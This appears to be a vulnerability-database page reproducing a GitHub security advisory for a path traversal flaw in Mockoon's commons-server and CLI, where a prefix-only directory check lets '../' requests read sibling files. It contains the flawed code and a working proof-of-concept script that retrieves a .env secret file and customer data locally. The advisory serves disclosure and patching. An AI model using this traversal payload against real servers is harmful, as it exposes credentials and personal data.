GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-8WQC-V2Q8-VFF2

Vulnerability from github – Published: 2026-09-11 22:04 – Updated: 2026-09-11 22:04
VLAI
Summary
@Mockoon/commons-server: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)
Details

Summary

A FILE response whose filePath embeds request data (e.g. "/srv/public/{{queryParam 'name'}}", the documented way to let the client pick a file) is confined by getSafeFilePath with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory.

Details

packages/commons-server/src/libs/server/server.ts, getSafeFilePath (line 2315). The static base is the text before the first {{, resolved to an absolute path; the parsed filePath is then bounded by a string-prefix check:

const staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null;     // 2336
const parsedFilePath = TemplateParser({ ... request ... });                     // request-controlled
const resolvedPath = resolvePath(parsedFilePath);

if (isPathAbsolute) {
  if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) {              // 2355
    throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`);
  }
} else if (!resolvedPath.startsWith(this.options.environmentDirectory)) {       // 2362
  throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`);
}

With "/srv/public/{{queryParam 'name'}}", staticBaseDir = /srv/public. A request name=../public_backup/.env resolves to /srv/public_backup/.env, and "/srv/public_backup/.env".startsWith("/srv/public") is true → served. Any sibling whose absolute path begins with the string /srv/public is reachable; the relative branch (:2362) is the same against environmentDirectory. A correct check appends sep to the base, or rejects when relative(base, resolvedPath) starts with ...

filePath is request-controlled (queryParam/urlParam/header/body via TemplateParser) for every FILE response: HTTP sendFile (:1762), WebSocket (:1145), callbacks (:1586).

PoC

cat > /tmp/poc.sh <<'POC'
set -e
mkdir -p /work/public /work/public_backup && cd /work
echo 'public landing page' > public/index.txt
echo 'AWS_SECRET_ACCESS_KEY=redacted' > public_backup/.env
echo 'Michael, michael@example.com, 555-22-7741' > public_backup/customers.csv
cat > env.json <<'JSON'
{"uuid":"00000000-0000-0000-0000-000000000001","lastMigration":33,"name":"f","port":3000,"hostname":"","folders":[],
"routes":[{"uuid":"11111111-0000-0000-0000-000000000001","type":"http","documentation":"","method":"get","endpoint":"download",
"responses":[{"uuid":"22222222-0000-0000-0000-000000000001","body":"","latency":0,"statusCode":200,"label":"","headers":[],
"bodyType":"FILE","filePath":"/work/public/{{queryParam 'name'}}","sendFileAsBody":true,"rules":[],"rulesOperator":"OR",
"disableTemplating":false,"fallbackTo404":false,"default":true,"crudKey":"id","callbacks":[]}],
"responseMode":null,"streamingMode":null,"streamingInterval":0}],
"rootChildren":[{"type":"route","uuid":"11111111-0000-0000-0000-000000000001"}],
"proxyMode":false,"proxyHost":"","proxyRemovePrefix":false,
"tlsOptions":{"enabled":false,"type":"CERT","pfxPath":"","certPath":"","keyPath":"","caPath":"","passphrase":""},
"cors":true,"headers":[],"proxyReqHeaders":[],"proxyResHeaders":[],"data":[]}
JSON
npm i -g @mockoon/cli@9.6.1 >/dev/null 2>&1
mockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 &
sleep 6
node -e '
const UA={headers:{"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"}};
const g=async(q)=>{const r=await fetch("http://127.0.0.1:3000/download?name="+encodeURIComponent(q),UA);return (await r.text()).trim();};
(async()=>{
 console.log("[*] intended file (public/index.txt)    :",await g("index.txt"));
 console.log("[+] escape -> ../public_backup/.env     :",await g("../public_backup/.env"));
 console.log("[+] escape -> ../public_backup/customers:",await g("../public_backup/customers.csv"));
})();'
POC
docker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh

Output:

[*] intended file (public/index.txt)    : public landing page
[+] escape -> ../public_backup/.env     : AWS_SECRET_ACCESS_KEY=redacted
[+] escape -> ../public_backup/customers: Michael, michael@example.com, 555-22-7741

../public_backup/.env and ../public_backup/customers.csv are served, outside /work/public/, because their absolute paths string-prefix /work/public

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.6.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@mockoon/commons-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.6.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@mockoon/cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59149"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-23"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-11T22:04:32Z",
    "nvd_published_at": "2026-07-09T19:17:07Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA `FILE` response whose `filePath` embeds request data (e.g. `\"/srv/public/{{queryParam \u0027name\u0027}}\"`, the documented way to let the client pick a file) is confined by `getSafeFilePath` with `resolvedPath.startsWith(staticBaseDir)`. That prefix test has no path-separator boundary, so a `../`-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory.\n\n## Details\n\n`packages/commons-server/src/libs/server/server.ts`, `getSafeFilePath` (line 2315). The static base is the text before the first `{{`, resolved to an absolute path; the parsed `filePath` is then bounded by a string-prefix check:\n\n```ts\nconst staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null;     // 2336\nconst parsedFilePath = TemplateParser({ ... request ... });                     // request-controlled\nconst resolvedPath = resolvePath(parsedFilePath);\n\nif (isPathAbsolute) {\n  if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) {              // 2355\n    throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`);\n  }\n} else if (!resolvedPath.startsWith(this.options.environmentDirectory)) {       // 2362\n  throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`);\n}\n```\n\nWith `\"/srv/public/{{queryParam \u0027name\u0027}}\"`, `staticBaseDir = /srv/public`. A request `name=../public_backup/.env` resolves to `/srv/public_backup/.env`, and `\"/srv/public_backup/.env\".startsWith(\"/srv/public\")` is `true` \u2192 served. Any sibling whose absolute path begins with the string `/srv/public` is reachable; the relative branch (`:2362`) is the same against `environmentDirectory`. A correct check appends `sep` to the base, or rejects when `relative(base, resolvedPath)` starts with `..`.\n\n`filePath` is request-controlled (`queryParam`/`urlParam`/header/body via `TemplateParser`) for every `FILE` response: HTTP `sendFile` (`:1762`), WebSocket (`:1145`), callbacks (`:1586`).\n\n## PoC\n\n```sh\ncat \u003e /tmp/poc.sh \u003c\u003c\u0027POC\u0027\nset -e\nmkdir -p /work/public /work/public_backup \u0026\u0026 cd /work\necho \u0027public landing page\u0027 \u003e public/index.txt\necho \u0027AWS_SECRET_ACCESS_KEY=redacted\u0027 \u003e public_backup/.env\necho \u0027Michael, michael@example.com, 555-22-7741\u0027 \u003e public_backup/customers.csv\ncat \u003e env.json \u003c\u003c\u0027JSON\u0027\n{\"uuid\":\"00000000-0000-0000-0000-000000000001\",\"lastMigration\":33,\"name\":\"f\",\"port\":3000,\"hostname\":\"\",\"folders\":[],\n\"routes\":[{\"uuid\":\"11111111-0000-0000-0000-000000000001\",\"type\":\"http\",\"documentation\":\"\",\"method\":\"get\",\"endpoint\":\"download\",\n\"responses\":[{\"uuid\":\"22222222-0000-0000-0000-000000000001\",\"body\":\"\",\"latency\":0,\"statusCode\":200,\"label\":\"\",\"headers\":[],\n\"bodyType\":\"FILE\",\"filePath\":\"/work/public/{{queryParam \u0027name\u0027}}\",\"sendFileAsBody\":true,\"rules\":[],\"rulesOperator\":\"OR\",\n\"disableTemplating\":false,\"fallbackTo404\":false,\"default\":true,\"crudKey\":\"id\",\"callbacks\":[]}],\n\"responseMode\":null,\"streamingMode\":null,\"streamingInterval\":0}],\n\"rootChildren\":[{\"type\":\"route\",\"uuid\":\"11111111-0000-0000-0000-000000000001\"}],\n\"proxyMode\":false,\"proxyHost\":\"\",\"proxyRemovePrefix\":false,\n\"tlsOptions\":{\"enabled\":false,\"type\":\"CERT\",\"pfxPath\":\"\",\"certPath\":\"\",\"keyPath\":\"\",\"caPath\":\"\",\"passphrase\":\"\"},\n\"cors\":true,\"headers\":[],\"proxyReqHeaders\":[],\"proxyResHeaders\":[],\"data\":[]}\nJSON\nnpm i -g @mockoon/cli@9.6.1 \u003e/dev/null 2\u003e\u00261\nmockoon-cli start --data env.json --port 3000 \u003e/tmp/srv.log 2\u003e\u00261 \u0026\nsleep 6\nnode -e \u0027\nconst UA={headers:{\"User-Agent\":\"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0\"}};\nconst g=async(q)=\u003e{const r=await fetch(\"http://127.0.0.1:3000/download?name=\"+encodeURIComponent(q),UA);return (await r.text()).trim();};\n(async()=\u003e{\n console.log(\"[*] intended file (public/index.txt)    :\",await g(\"index.txt\"));\n console.log(\"[+] escape -\u003e ../public_backup/.env     :\",await g(\"../public_backup/.env\"));\n console.log(\"[+] escape -\u003e ../public_backup/customers:\",await g(\"../public_backup/customers.csv\"));\n})();\u0027\nPOC\ndocker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh\n```\n\nOutput:\n\n```text\n[*] intended file (public/index.txt)    : public landing page\n[+] escape -\u003e ../public_backup/.env     : AWS_SECRET_ACCESS_KEY=redacted\n[+] escape -\u003e ../public_backup/customers: Michael, michael@example.com, 555-22-7741\n```\n\n`../public_backup/.env` and `../public_backup/customers.csv` are served, outside `/work/public/`, because their absolute paths string-prefix `/work/public`",
  "id": "GHSA-8wqc-v2q8-vff2",
  "modified": "2026-09-11T22:04:32Z",
  "published": "2026-09-11T22:04:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mockoon/mockoon/security/advisories/GHSA-8wqc-v2q8-vff2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59149"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mockoon/mockoon/pull/2255"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mockoon/mockoon/commit/b42bdfb7f82e83f0e81bea8e6fe41adf5ec82585"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mockoon/mockoon"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mockoon/mockoon/releases/tag/v9.7.0"
    },
    {
      "type": "WEB",
      "url": "https://mockoon.com/releases/9.7.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@Mockoon/commons-server: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…